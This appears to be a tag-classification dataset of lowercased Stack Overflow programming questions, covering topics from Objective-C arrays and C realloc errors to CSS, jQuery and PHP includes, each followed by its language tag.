how do you specify array literals  in this case containing integers  in objective-c   i presently have:   <pre><code>transformations = @[@[1  1]  @[1  -1]  @[-1  1]  @[-1  -1]]; </code></pre>   what type should give this  (nsarray *),objective-c
overriding typedefs in c++  i have a generic struct   <pre><code>template&lt;typename x  typename y&gt; struct s {  }; </code></pre>   then there is an abstract class which returns shared pointer to above struct in a pure virtual function. one of the derived classes also implements this function but needs to return pointer to s with different instantiated type:   <pre><code>typedef boost::shared_pointer&lt;s&lt;double  double&gt;&gt; bptr; class baseclass {   public:     bptr func() = 0; };  typedef boost::shared_pointer&lt;s&lt;double  std::tuple&lt;double  double&gt;&gt;&gt;    dptr; class derivedclass : public baseclass {    public:       dptr func() {} } </code></pre>   ideally i would like to be able to return an override typedef in the derived class but can t do that in c++.     how do i fix this dilemma,c++
reordering nsmutablearray by changing its starting index (circular buffer)  is there an efficient way to reorder nsmutablearray by changing its starting index  example: if my array is [a b c d e]  i would like to set 3rd element as starting element  and thus create the array [c d e a b]. i am doing it by slicing the array into two separate array  and then concatenating them. is there a more efficient or clean way to do this      edit: the following is my current code   <pre><code>nsarray myarray = [self getmyarray]; // [a b c d] int startingindex = 2;  nsarray *subarray1 = [myarray subarraywithrange:nsmakerange(_startingindex  [myarray count] - _startingindex + 1)]; // [c d] nsarray *subarray2 = [myarray subarraywithrange:nsmakerange(0  _startingindex - 1)]; //[a b] nsmutablearray *reorderedarray = [nsmutablearray arraywitharray:subarray1];  [reorderedarray addobjectsfromarray: subarray2]; //[c d a b] </code></pre>,objective-c
what would be a do nothing operator for a function returning void   i want to return nothing inside a function returning void. how would i do that,objective-c
required code to sync microsoft exchange server to iphone calender  i need your help on this topic  microsoft exchange server     apple iphone support to integrate many server calendar with iphone default calendar.    in my application i have to integrate iphone default calendar and microsoft exchange server    i can t find any api document related this microsoft exchange server to integrate with my app.    please tell me how to integrate it in iphone.    thanks in advance.,iphone
optimizing deleting a large number of rows (over a few millions) - sql server 2005  first we get the max id from the productfilelocalname and then - 1000 (as we don t want to delete the most recent additions as they might not be inserted in productfileinfo yet)    then we pass the max id to this stored procedure:    <pre><code>delete top (10000) from productfilelocalname with (rowlock) from productfilelocalname     left outer join productfileinfo as pfi with (nolock) on productfilelocalname.productfilelocalnameid = pfi.productfilelocalnameid where (productfilelocalname.productfilelocalnameid &lt; @maxid and pfi.productfileinfoid is null); </code></pre>   is this the most effective way to perform this operation,sql
asp.net - public static functions using globally  i am new to asp.net c#. i try to follow this tutorial page to make a function using globally  but no luck. <a href= http://aspnet.4guysfromrolla.com/articles/122403-1.aspx  rel= nofollow >http://aspnet.4guysfromrolla.com/articles/122403-1.aspx</a>    what i try to do is use a function global any where in my code. i have a function called  formatdatenotime .  i have create a class file under app_code folder. but when i call that function in one of my code behind page (example page1.aspx.cs)  it gives me the error:    error: the name  myclass  does not exist in the current context    myclass.cs file under the app_code folder.   <pre><code>using system; using system.collections.generic; using system.linq; using system.web;  /// &lt;summary&gt; /// summary description for class1 /// &lt;/summary&gt; public class myclass {          //         // todo: add constructor logic here         //          public static string formatdatenotime(string input)            {             string thedate;             datetime strdate = datetime.parse(input);             thedate = strdate.tostring( mm/dd/yyyy );             return thedate;         } } </code></pre>   the code in my page1.aspx.cs calling the formatenotime function   <pre><code>textbox begindate = (textbox)formview1.findcontrol( begindate ); begindate.text = myclass.formatdatenotime(objds.tables[0].rows[0][ begindate ].tostring()); </code></pre>   it seems like other pages don t recognize this class.function().     please help. thanks in advance.,asp.net
unexpected output by applying overloaded subscript operator  i overloaded subscript operator[] for my array  and in my main function when i try to test it i got confused and didn t get the output that i expected to. i expect 0  0  0  0 but i got 16  9  4  1! here is my program:   <pre><code>//  main.cpp  #include &lt;iostream&gt; #include &lt;stdexcept&gt;  using namespace std;  class arr{ private:     int a  b  c  d; public:     arr(){a = b = c = d = 0;}     int &amp;operator[](int index){         switch (index) {             case 1:                 return a;             case 2:                 return b;             case 3:                 return c;             case 4:                 return d;             default:                 throw range_error( bad index );         }     } };  int main(){      arr arr;      for(int i = 1; i &lt;= 4; i++)         arr[i] = i * i;      for(int i = 4; i &gt; 0; i--)         cout &lt;&lt; arr[i] &lt;&lt;     ; } </code></pre>,c++
where should i save images in my iphone app   i am developing an application for iphone that will pick an image from photo library and save it at some other place.now in my application i will be using this image later on from that place.    so can anybody suggest the folder where should i save this image so that the application works perfectly on device also.,iphone
how to filter array with adding missing element from other array and replace repeated item  i have array with objects <code>[object.id = 1  object.id = 2  object.id = 3  object.id = 4  object.id = 5]</code> and i have another array <code>[object.id = 0  object.id = 2]</code>    so i want to see result:   <pre><code>[object.id = 0  object.id = 1  object.id = 2  object.id = 3  object.id = 4  object.id = 5] </code></pre>   and in teh same time <code>object.id = 2</code> should be inserted from the second array and <code>object.id = 2</code> from first array should be skipped. so kind of much  combine and replace operation.   <pre><code>+ (nsarray *)savedrecords:(nsarray *)records {   nsarray *pendingnotpaidrecords = [self pendingnotpaidrecords];    if (pendingnotpaidrecords.count == 0) {     return records;   }    nsmutablearray *remoterecords = [[nsmutablearray alloc] initwitharray:records];   nsmutablearray *filteredrecords = [nsmutablearray new];    for (record *localrecord in pendingnotpaidrecords) {     record *temprecord = nil;      for (record *record in records) {       if ([record.recordid integervalue] == [localrecord.recordid integervalue]) {         [remoterecords removeobjectidenticalto:record];         temprecord = localrecord;         break;       }     }      if (temprecord) {       [filteredrecords addobject:temprecord];     } else {       [filteredrecords addobject:localrecord];     }   }    nsarray *combinedarray = [filteredrecords arraybyaddingobjectsfromarray:remoterecords];    return combinedarray; } </code></pre>,objective-c
find exact same string in multiple strings  the following example.    i have an array like this :   <pre><code>array (     [0] =&gt;  vlakke lasflenzen pn6     [1] =&gt;  vlakke lasflenzen pn10     [2] =&gt;  vlakke lasflenzen pn16     [3] =&gt;  vlakke lasflenzen pn25-40 ) </code></pre>   i do not know what part of the strings will be the same. and i dont know if the pattern will stay the same. so i cannot explode() on spaces or something.    what i want to try is to extract the part of the srting that is exactly the same between all four of them but split between spaces.    so for this example i would need to extract  vlakke lasflenzen  from the four strings based on compasison of them.    can anyone help me,php
how to replace fragment by checking userinfo list  currently i am in <code>settingsfragment</code> and i have another fragment called <code>profilefragment</code>. now the problem is  by userinfo list i need to replace fragmnet like. if userinfo==null i should be in <code>settingfragment</code> or i should be in <code>profilefragment</code>.    <pre><code>if(userinfolist == null ){         //login screen         fragmenttransaction ft= getfragmentmanager().begintransaction();         ft.replace(r.id.main_frame settingsfragment);         ft.commit();     }else{         //setting screen         fragmenttransaction ft=getfragmentmanager().begintransaction();         ft.replace(r.id.main_frame profilefragment);         ft.commit();     } </code></pre>   but when i execute the code i am getting stuck.,android
css not expanding  why is the parent div not expanding to fit the inner divs    <pre><code>&lt;div style= width: 800px; border: 1px solid black; margin-left: auto; margin-right: auto; &gt; &lt;div style= float: left; width: 500px; border-bottom: 1px solid black; &gt;     menu &lt;/div&gt; &lt;div style= float: left; width: 500px; &gt;     text goes here &lt;/div&gt; </code></pre>       <a href= http://jsfiddle.net/c7mhy/1/  rel= nofollow >http://jsfiddle.net/c7mhy/1/</a>,css
detecting and restarting my crashed .net application  how can i detect that my .net application has crashed  and then restart it,.net
duplicate column combination in mysql  sample table   <pre><code>first_column     second_column 1                   2 </code></pre>   in the sample table above  is there a way to make a constraint in mysql so that inserting (2 1) would return duplicate key error,mysql
jquery live firing more than once for the same event and element  i am trying to write a generic pagination utility  a very simplified form is this:   <pre><code>pagin = function(settings){      var prevselector = settings.prevselector ||  a[title= previous ]       nextselector = settings.nextselector ||  a[title= next ] ;      $(prevselector).live( click   onprevnextpage);     $(nextselector).live( click   onprevnextpage); } </code></pre>   there more than a couple of places in the same place that needs pagination. i am trying to reuse it by creating different objects like this:   <pre><code>var gridpagin = new pagin(); var dialogpagin = new pagin(); </code></pre>   the problem i am facing is  after having 2 objects  clicking on  prev  or  next  the function onprevnextpage is executed twice.    is there a way to tell live to trigger only once even though the handler is attached twice     thanks  chris.,jquery
how to text search in jquery  i want text search with filter data in jquery. suppose i create one input box for text search. its name is <code>searchbox</code>. a complete list appears below the search box.   <pre><code>sn. name age destination 1   a     b   test 2   c     c   test1 3   d     d   test 4   v     v   t1  </code></pre>   i insert any text like <code>test</code>. according to this keyword <code>test</code> my data appear in bottom side. i cannot use a datatable.    i tried this but no success    <a href= http://www.designchemical.com/blog/index.php/jquery/live-text-search-function-using-jquery/  rel= nofollow >http://www.designchemical.com/blog/index.php/jquery/live-text-search-function-using-jquery/</a>    please help,jquery
weird error when using malloc in a function  i m having a problem with the following code compiles without errors  but in execution the error comes <em> double free or corruption (fasttop) </em>   <pre><code>void copynorepeat (int * v1  int tam1  int * v2  int * tam2_ptr) {     int i  j;     int tam = * tam2_ptr // 0      for (i = 0; i &lt;tam1; i ++) // 1     {         for (j = 0; j &lt;tam; j ++) // 2         {             if (v1 [i] == v2 [j]) // 3             {                 break;             }         }         if (j == tam) // 4         { tam ++; // 5             v2 = (int *) realloc (v2  (tam + 1) * sizeof (int)); // 6             v1 [i] = v2 [j];         }     }     * tam2_ptr = tam; } </code></pre>   it crossed my mind that i was trying to do something that the compiler does not accept.    before proceeding  a brief explanation of the code and my implementation of the function. i have a vector (v1) with repeated values ​​and want to copy  through the function  copynorepeat   only one number each for the other vector (v2) that is allocated dynamically. example:    v1 = [11 8 15 19 19 2 11 18 15 5]    v2 = [11 8 15 19 2 18 5]    (numbers repeated 11 19 15  were not copied to v2)    in implementing the function  copynorepeat  i can not use realloc to allocate more 4 bytes of space to store a number in v2  this results in  double free or corruption (fasttop).  i wonder why     i wrote another code to test if the problem was to increase the tam // 2  as i did in // 5  but there is no problem with that  i wrote in another file only this stretch and it works perfectly.    another detail that i noticed is that just removing the line tam ++ // of 5  the error message becomes <em> segmentation fault </em>. if you remove the // line 6 with realloc  the algorithm runs as expected copying only unique  but appears the error: <em> free (): invalid next size (fast) </em>  i realized that it saves the values ​​in subsequent memory locations  but in free time to do it is not aware that memory was allocated for this data.    ----------------all code-------------------   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;time.h&gt;  void geravalores(int v1[] int tam1 int liminf  int limsup);  void imprimevetor(int v1[] int tam1);  void copiavalorsemrepetir(int *v1  int tam1  int *v2  int *tam2_ptr);  void checavalores(int *v1 int tam1  int *v2  int tam2);  int main (void) {     int liminf = 0;     int limsup = 20;     int tam1 = 10;     int v1[tam1];      int tam2=0;     int *tam2_ptr = null;     tam2_ptr = &amp;tam2;      int *v2;     v2=(int*)malloc(tam2*sizeof(int));     if(v2 == null)     {         printf( erro! memória não alocada. );         exit(0);     }     geravalores(v1 tam1 liminf limsup);     imprimevetor(v1 tam1);     //printf( antes da func copia=%d\n  tam2);     copiavalorsemrepetir(v1 tam1 v2 tam2_ptr);     //printf( depois da func copia=%d\n  tam2);     imprimevetor(v2 tam2);     free(v2); }  void copiavalorsemrepetir(int *v1  int tam1  int *v2  int *tam2_ptr) {     int i j;     int tam = *tam2_ptr;      for(i=0; i&lt;tam1;i++)     {         for(j=0;j&lt;tam;j++)         {             if(v1[i]==v2[j])             {                 break;             }         }         if(j == tam)         {             tam++;             //v2 = (int*)realloc( v2  tam*sizeof(int) );             v2[j] = v1[i];         }     }     *tam2_ptr = tam; }  void geravalores(int v1[] int tam1 int liminf  int limsup) {     srand( (unsigned)time(null) );     int j k;      for(j=0; j&lt;tam1; j++)     {         v1[j] = liminf + rand() % limsup;     } }  void imprimevetor(int v1[] int tam1) {     printf( vetor:\n );     int i;     for(i=0; i&lt;tam1; i++)     {         printf( %d|   v1[i]);     }     printf( \n ); } </code></pre>,c
yii framework installation  i am new with yii framework. i have downloaded yii-1.1.14.f0fee9.zip file  i extracted and renamed it as yii and placed to my wamp root directory. for creating sample skeleton application  first i created test_project folder in wamp root and then run folling lines to cmd prompt.    cd c:\wamp\www\yii\framework   yiic webapp ..\test_project    these lines executed in cmd prompt without error. but  could it see create any sample or skeleton files under test_project folder. i have also tried to run it with browser. it showing blank. anybody can please help me to start a skeleton project in yii   iam really interesting to develop projects in yii. please help me guys.,php
using liac-arff package instead of arff in python. how to uninstall   python has two packages to read arff files. one is <a href= https://pypi.python.org/pypi/liac-arff  rel= nofollow >liac-arff</a>  while the other is <a href= https://pypi.python.org/pypi/arff/0.9  rel= nofollow >arff</a>. to use either in a code  the import statement is:   <pre><code>import arff </code></pre>   i installed both these packages accidently. the way both of them function is different  and i need to use the liac-arff package  but python everytime tries to import the arff one. i tried uninstalling the arff package  but i am stuck. i tried the following but to no success:   <pre><code>pip2 uninstall arff apt-get uninstall python-arff </code></pre>   please suggest to how to uninstall the arff package  or how to make python import liac-arff when the import statement is same,python
javascript from codepen is not working in our website   i added this js using a wordpress plugin called simple css and js. css  html are working. but js is not working.    <pre><code>(function($) {      // handle click on toggle search button     $( #toggle-search ).click(function() {         $( #search-form  #toggle-search ).toggleclass( open );         return false;     });      // handle click on search submit button     $( #search-form input[type=submit] ).click(function() {         $( #search-form  #toggle-search ).toggleclass( open );         return true;     });      // clicking outside the search form closes it     $(document).click(function(event) {         var target = $(event.target);          if (!target.is( #toggle-search ) &amp;&amp; !target.closest( #search-form ).size()) {             $( #search-form  #toggle-search ).removeclass( open );         }     }); })(jquery); </code></pre>   codepen link: <a href= https://codepen.io/linuance/pen/mafeg editors=0010  rel= nofollow noreferrer >https://codepen.io/linuance/pen/mafeg editors=0010</a>,javascript
how to track install of another app via link  i have research little bit in google and i found that google analytics campaign allow tracking but it only for develop by me.    i want to track another app.    e.g. if send link of whatsapp app to my friend and when my friend install app. i want to track that whatsapp app install from my link is unic or not.    and also receive some data that i know that install is done.    basically i am thinking to develop app like wild wallet  earn talk time etc. which allow user to install unic app and give them rewards.,android
a good way to store c++ cli arguments  (w/o using libraries)  so  i m writting a cli application in c++ which will accept a bunch of arguments. the syntax is pretty typical  -tag arg1 arg2 -tag2 arg1 ...    right now  i take the char** argv and parse them into an    <pre><code>std::map&lt; std::string  std::list&lt;**std::string** &gt; &gt; &gt; </code></pre>   the key is the tag  and the list holds each token behind that tag but before the next one.  i don t want to store my args as just std::strings; but i need to make it more interactive.    by interactive  i mean when a user types  ./myprog -help  a list of all available commands comes up with descriptions.    currently  my class to facilitate this is:   <pre><code>class argument { public:    argument(std::string flag  std::string desc);    std::string getflag();    std::string getdesc();     std:;list&lt;std::string&gt; &gt; getargs();    void setargs(std::list&lt;std::string&gt; &gt; args);     bool validsyntax()=0;    std::string getsyntaxerrordesc()=0;  }; </code></pre>   the std::map structure is in a class programcommands which goes about handling the these arguments.    now that the problem description is over  my 4 questions are:   <ol> <li>how do i give the rest of the program access to the data in programcommands  i don t want to make a singleton  at all; and i d prefer to not have to pass     programcommands as an arg to almost every function in the program.</li> <li>do you have better ideas about storing how i m doing this </li> <li>how best can i add arguments to the program  without hardcoding them into the programcommands  or main </li> <li>std::string only allows for 1 line descriptions  does anyone have an elegant solution to this besides using a list of strings or boost </li> </ol>   <strong>edit</strong> i don t really want to use libraries because this is a school project (sniffing &amp; interpreting packets).  i could  if i wanted to  but i d rather not.,c++
php include or require  and which file comes first and which right after   i know the difference between <code>include</code> and <code>require</code> by reading at following link;<br> <a href= https://stackoverflow.com/questions/2418473/when-should-i-use-require-once-vs-include >require vs include</a> <br> but if there are php files;   <ol> <li>dbconenction.php (which has all the database related code)</li> <li>index.php (which has form and <code>dbconenction.php</code> is include in it to fetch some information from database.</li> <li>funtions.php (which has all the custom functions which also has the <code>dbconenction.php</code> include or require because in some functions there are queries)</li> <li>site.php (which has all the site setting fetching from database and <code>dbconenction.php</code> is include or require in it)</li> <li>config.php (a file which has some manually added variables)</li> <li>email-functions.php (a file which has email templates and send email functions and <code>dbconenction.php</code> and <code>class.phpmailer.php</code>is include or require in it)</li> <li>class.phpmailer.php</li> <li>process.php (where i process the form  variables  functions and send email)</li> </ol>   so in <code>process.php</code> i have to include or require all files like <code>dbconenction.php</code>  <code>funtions.php</code>  <code>config.php</code>  <code>email-functions</code> and <code>class.phpmailer.php</code>.    <strong>my questions;</strong>   <ol> <li>if <code>dbconenction.php</code> already exist in other <code>php included or required files</code> do i really need to include or require it in <code>process.php</code> </li> <li>if i don t include <code>class.phpmailer.php</code> in <code>email-functions.php</code> then which file comes first in <code>process.php</code>  <code>class.phpmailer.php</code> or <code>email-functions.php</code></li> <li>and if i dont include or require <code>dbconenction.php</code> in any of above file beside <code>index.php</code> and <code>process.php</code> then which files comes first and which next to it incase if one php file variable is dependent on other php file;</li> </ol>   reason i m asking because i develop multiple sites in php with total custom solutions but this php file structure always bother me and in somecases one site php file structure just won t work in other site at all  sometime even no error just stuck me on blank page.,php
macro to turn off printf statements  what macro can be used to switch off printf statements  rather than removing them all for deployment builds  i just want to switch them off  skip them  ignore them.    edit: i personally use gcc  but code is part of a larger project which will be compiled on a panda board running ubuntu.,c
box-shadow for each table cell not showing in firefox  i need to make box-shadow for each table cell using <strong>:before</strong> pseudo element. it works perfect in all browsers except firefox.    <strong>css</strong>   <pre><code>table {     border-collapse: collapse; } .box2 .c-table {     -moz-box-shadow: none;     -webkit-box-shadow: none;     box-shadow: none;     border-left: 1px solid #e5e3d5;     border-top: 1px solid #e5e3d5;     border-bottom: 1px solid #ebe8da;     border-right: 1px solid #ebe8da; }  .box .c-table {     -moz-box-shadow: none;     -webkit-box-shadow: none;     box-shadow: none;     border-left: 1px solid #e0ded1;     border-top: 1px solid #e0ded1;     border-bottom: 1px solid #e6e4d6;     border-right: 1px solid #e6e4d6; }  .inbox .c-table {     -moz-box-shadow: none;     -webkit-box-shadow: none;     box-shadow: none;     border-left: 1px solid #e0ded1;     border-top: 1px solid #e0ded1;     border-bottom: 1px solid #e6e4d6;     border-right: 1px solid #e6e4d6; }  .c-table tr &gt; td {     position: relative;     padding: 5px; }  .c-table tr + tr {     border-top: 1px solid #f0eee0; }  .c-table td + td {     border-left: 1px solid #f0eee0; }  .c-table td:before {     position: absolute;     left: 0;     top: 0;     width: 100%;     height: 100%;     content:   ;     -moz-box-shadow: inset 0 0 4px rgba(0 0 0 0.15);     -webkit-box-shadow: inset 0 0 4px rgba(0 0 0 0.15);     box-shadow: inset 0 0 4px rgba(0 0 0 0.15); }  .inbox {     display: inline-block;     font-family:  open sans   sans-serif;     font-size: 12px;     color: #444444;     padding: 5px;     -moz-border-radius: 2px;     -webkit-border-radius: 2px;     border-radius: 2px;     background-color: #d3d2c5;     border: 1px solid #f0eee0;     text-shadow: -1px -1px rgba(240 238 224 1)  1px 1px rgba(240 238 224 1);     -moz-box-shadow: inset 0 0 4px rgba(0 0 0 0.15);     -webkit-box-shadow: inset 0 0 4px rgba(0 0 0 0.15);     box-shadow: inset 0 0 4px rgba(0 0 0 0.15); }  .box2 .inbox {     border-left: 1px solid #e5e3d5;     border-top: 1px solid #e5e3d5;     border-bottom: 1px solid #ebe8da;     border-right: 1px solid #ebe8da; } </code></pre>   <strong>html</strong>   <pre><code>&lt;div class= inbox margin-space &gt;     &lt;table class= c-table  &gt;         &lt;tbody&gt;             &lt;tr class= th &gt;                 &lt;td&gt;column1&lt;/td&gt;                 &lt;td&gt;column2&lt;/td&gt;                 &lt;td&gt;column3&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;row1&lt;/td&gt;                 &lt;td&gt;row2&lt;/td&gt;                 &lt;td&gt;row3&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;row4&lt;/td&gt;                 &lt;td&gt;row5&lt;/td&gt;                 &lt;td&gt;row6&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;row7&lt;/td&gt;                 &lt;td&gt;row8&lt;/td&gt;                 &lt;td&gt;row9&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;row10&lt;/td&gt;                 &lt;td&gt;row11&lt;/td&gt;                 &lt;td&gt;row12&lt;/td&gt;             &lt;/tr&gt;         &lt;/tbody&gt;     &lt;/table&gt; &lt;/div&gt; </code></pre>   i want to use pseudo for <strong>.c-table td</strong> because it makes a visual diffrence. ( visible in chrome )    <img src= https://i.stack.imgur.com/qr3l3.png  alt= enter image description here >    <a href= http://fiddle.jshell.net/uxebj/10/  rel= nofollow noreferrer >http://fiddle.jshell.net/uxebj/10/</a>    <strong>temporary solution</strong>   <pre><code>@-moz-document url-prefix() {  .c-table td:before {     content: none; }  .c-table td {     box-shadow: inset 0 0 4px rgba(0 0 0 0.15); }  } </code></pre>,css
jquery check all text inputs are disabled then continue  when a button is clicked a form gets sent via ajax but i would like firstly to check that all text inputs are disabled. i have tried the following but when an element is left enabled the console.log returns <code>done</code> which is not what should be happening.    when each <code>input[type=text]</code> are filled in correctly they get the attribute <code>disabled= disabled </code>.    <strong>jquery</strong>   <pre><code>$( .vacancy-submit ).click(function(){         var isvalid = false;         $( input[type=text] ).each(function(){             if ( $(this).is( [disabled= disabled ] ) ) {                 isvalid = true;             } else {                 isvalid = false;             }         });         if (!isvalid){             alert( please fill in all the required fields (highlighted in red) );             console.log( derp );         } else {             console.log( done );         }         return isvalid;          var company = $( input[name=company-title] ).val();         var location = $( input[name=location-title] ).val();         var term = $( input[name=term]:checked ).val();         var closedate = $( input[name=vacancy-date] ).val();         $.ajax({             type: post               url: /assets/inc/add-vacancy.php               data: company= +company+ &amp;location= +location+ &amp;term= +term+ &amp;closedate= +closedate              success:function(data){                 console.log(data);             }         });     }); </code></pre>,jquery
confused about using .net 3.5+ features in a 2.0 site  in vs 2010 i set my target framework to 2.0. in the code it is letting me use the var keyword as well as implicit properties (public int foo { get; set; }).    not only does this build but when i upload the dll to my asp.net 2.0 site  the site runs the code fine.    what gives,.net
the underlying connection was closed  when downloading a file from a ftp server  i want to download file from the ftp server. i have written following code to download file from ftp   <pre><code>public void downloadfile(string ftpaddress  string filename  string username  string password  string destfile) {     try     {         ftpwebrequest request = ftpwebrequest.create(ftpaddress + filename) as ftpwebrequest;         request.method = webrequestmethods.ftp.downloadfile;         request.credentials = new networkcredential(username  password);         request.usepassive = true;         request.usebinary = true;         request.usebinary = true;         request.keepalive = false; //close the connection when done         request.timeout = 60000;         //streams         using (var response = request.getresponse())         {              using (stream reader = response.getresponsestream())             {                 byte[] buffer = new byte[1024];                 using (stream streamfile = file.create(destfile))                 {                     while (true)                     {                         int bytesread = reader.read(buffer  0  buffer.length);                         if (bytesread == 0)                         {                             break;                         }                         else                         {                             streamfile.write(buffer  0  bytesread);                          }                     }                 }             }         }     }     catch(exception e)     {         console.writeline(e.message);                  } }      </code></pre>   but when running this code giving me exception :    <blockquote>    the underlying connection was closed: an unexpected error occurred on   a receive.  </blockquote>   what can be problem help me...,c#
unable to apply css to control on page  i have a following <code>.aspx</code> page   <pre><code>&lt;%@ page language= c#  autoeventwireup= true  codefile= default.aspx.cs  inherits= _default  %&gt;  &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;  &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head runat= server &gt;     &lt;title&gt;test control&lt;/title&gt;     &lt;style type= text/css &gt;          input[type= radio ][checked]  +label           {              font-weight: bold;               color: green;          }          input[type= radio ][disabled] +label           {              font-weight: bold;               color: green;          }     &lt;/style&gt; &lt;/head&gt; &lt;body&gt;     &lt;form id= form1  runat= server &gt;     &lt;div&gt;     &lt;input type= radio  name= abc  value= val1  disabled= disabled /&gt;val1&lt;br/&gt;     &lt;input type= radio  name= abc  value= val2 /&gt;val2     &lt;input type= radio  name= abc  value= val3 /&gt;val3      &lt;/div&gt;     &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   am i doing anything wrong here  because the css styles that i defined in the  tag are not getting implied on the page. here s the <a href= http://jsfiddle.net/mk66c/  rel= nofollow >jsfiddle</a>  for the said sample    as per the code the disabled button should be of green color but it is not..  similarly for the checked one,css
perform action after receiving push notification without user acknowledging  i m quite sure the answer to this question is no but here it goes.    is it possible to send a push notification to my app and have it perform some work without the user clicking on the push notification     and even if it were possible  will my application be rejected because of this     this question is from upper management  they want me to get our appication to be able to do this. i already told them that i don t believe it s possible but maybe someone knows something i don t,iphone
checkbox server/client events  i have a checkbox in repeater control.  on changing it s bit value  it should prompt the alert message like do u wish to delete  and if yes is selected  the onselectedchange server event should be fired.    right now. on clicking the checkbox i am using onclick event to fire the prompt but it is not able to fire the server event.     here is my code   <pre><code>&lt;script language= javascript  type= text/javascript &gt;  function checkedchange() {          if (confirm( are you sure you want to delete  ))              return true;          else              return false;      } &lt;/script&gt;  &lt;asp:repeater id= repquestion  runat= server   onitemcommand= repquestion_itemcommand                                                     onitemdatabound= repquestion_itemdatabound &gt;  &lt;itemtemplate&gt; &lt;table  width= 100%  cellspacing= 0  cellpadding= 0 &gt; &lt;tr&gt; &lt;td&gt; &lt;asp:checkbox onclick= return checkedchange();  id= delete  runat= server  checked= &lt;%#databinder.eval(container.dataitem   isdeleted )%&gt;  oncheckedchanged= chkdelete_click  /&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/itemtemplate&gt; &lt;/asp:repeater&gt; </code></pre>,asp.net
keep only one element of each group of elements who match each other  suppose i have an object of the structure:   <pre><code>class obj:   def match(other):     return check_match(self  other) </code></pre>   for example  <code>check_match</code> could check for overlap or for equality or for  is friend .    now i ll have a list of those objects:   <pre><code>objlist = create_random_list_of_obj() </code></pre>   now  for each element which matches other elements  i d like to keep only one of those mutually matching elements.    remark and clarification: so far  the task is ambiguous: if a and b match  and b and c match  but a and c do not match  then we could keep a and c or we could keep b. it s not important  which decision the algorithm will take. <strong>the important thing is  that there are no matching elements in the final list.</strong>     two questions:   <ul> <li><strong>what is the pythonic way to do so </strong></li> <li>does this problem have a name </li> </ul>,python
give a predefined size to the profile images of users like whatsapp  i have an application in which users have the opportunity to upload images for their profile in the gallery.      to achieve this i save the path of the image in shared preferences and place the image uri in an imageview.      everything works fine but when users download images dimenssion variable imageview is not very pretty to see so i would like to give an image size to respect for the profile as whatsapp does so that all users have the same dimension for their profile image.      how can i implement this please     here is what i did for selecting an image in the gallery   <pre><code>intent intent;             if (build.version.sdk_int &lt; 19) {                 intent = new intent(intent.action_get_content);             } else {                 intent = new intent(intent.action_open_document);                 intent.addcategory(intent.category_openable);             }             intent.settype( image/* );             startactivityforresult(intent.createchooser(intent   select picture )  pick_image); </code></pre>   and   <pre><code>@override protected void onactivityresult(int requestcode  int resultcode  intent data) {     if (requestcode == pick_image) {         if (resultcode == result_ok) {             if (data != null) {                 mimageuri = data.getdata();                  sharedpreferences preferences = preferencemanager.getdefaultsharedpreferences(this);                 sharedpreferences.editor editor = preferences.edit();                 editor.putstring( image   string.valueof(mimageuri));                 editor.commit();                  imageview.setimageuri(mimageuri);                 imageview.invalidate();             }         }     } } </code></pre>,android
static_cast with bounded types  when you cast an int in short with a classic static_cast (or c cast)  if the value is out of the short limits  the compiler will truncat the int.    for example:   <pre><code>int i = 70000; short s = static_cast&lt;short&gt;(i); std::cout &lt;&lt;  s=  &lt;&lt; s &lt;&lt; std::endl; </code></pre>   will display:   <pre><code>s=4464 </code></pre>   i need a  inteligent  cast able to use the type limit and  in this case return 32767. something like that:   <pre><code>template&lt;class to  class from&gt; to bounded_cast(from value) {   if( value &gt; std::numeric_limits&lt;to&gt;::max() )   {     return std::numeric_limits&lt;to&gt;::max();   }   if( value &lt; std::numeric_limits&lt;to&gt;::min() )   {     return std::numeric_limits&lt;to&gt;::min();   }   return static_cast&lt;to&gt;(value); } </code></pre>   this function works well with int  short and char  but need some improvments to works with double and float.    but is it not a reinvention of the wheel      do you know an existing library to do that      <em><strong>edit:</em></strong>    thanks. the best solution i found is this one:   <pre><code>template&lt;class to  class from&gt; to bounded_cast(from value) {   try   {     return boost::numeric::converter&lt;to  from&gt;::convert(value);   }   catch ( const boost::numeric::positive_overflow &amp; )   {     return std::numeric_limits&lt;to&gt;::max();   }   catch ( const boost::numeric::negative_overflow &amp; )   {     return std::numeric_limits&lt;to&gt;::min();   } } </code></pre>,c++
making nstimer application with local notification  i am new to ios development and i would like to make an app with <code>nstimer</code> and local notifications. i am trying to create a simple application something as follows:    <ol> <li>create the page that saves a text with a time to display the text</li> <li>a page that will display the text and time  that we save to previous page at the specified time using <code>nstimer</code> and local notification.</li> </ol>   i had researched on these two but i have no idea how to actually implement it in code.     i am new to stackoverflow  so kindly bare me for mistakes. please help me guys  and guide me in the right direction. thanks in advance. :),ios
converting a jquery function to support runtime elements using() .live or .bind()  i have a jquery function which i want to convert to .live because i want to bind the jquery function to elements adding runtime on my webpage.    following is the jquery   <pre><code>        $(document).ready(function(){           $( form.ratedstars ).each(function(){                      var sid=$(this).attr( id );                      $( # +sid).children().not( select  #rating_title ).hide();                      // create caption element                     //alert($(this).attr( id ));                     var $caption = $( &lt;div id= caption /&gt; );                     var $message = $( &lt;div id= messages /&gt; );                      $( # +sid).stars( selectid   4);                     // create stars                     $( # +sid).stars({                         inputtype:  select                           //split: 2                          onevoteonly: true                          captionel: $caption                          //cancelshow: true                          callback: function(ui  type  value)                         {                             // display message to the user at the begining of request                             $message.text( saving... ).fadein(30);                              // send request to the server using post method                             /* note:                                  the same php script is used for the form submission when javascript is not available.                                 the only difference in script execution is the returned value.                                  for ajax call we expect an json object to be returned.                                  the json object contains additional data we can use to update other elements on the page.                                 to distinguish the ajax request in php script  check if the $_server[ http_x_requested_with ] header variable is set.                                 (see: demo4.php)                             */                              $.post( demo41.php   {rate: value}  function(json)                             {                                 // change widget s title                                 ///$( # +sid).next().text( average rating );                                 alert(json.id);                                 // select stars from  average rating  control to match the returned average rating value                                 ui.select(json.id+ _ +math.round(json.avg));                                 //ui.selectid(4);                            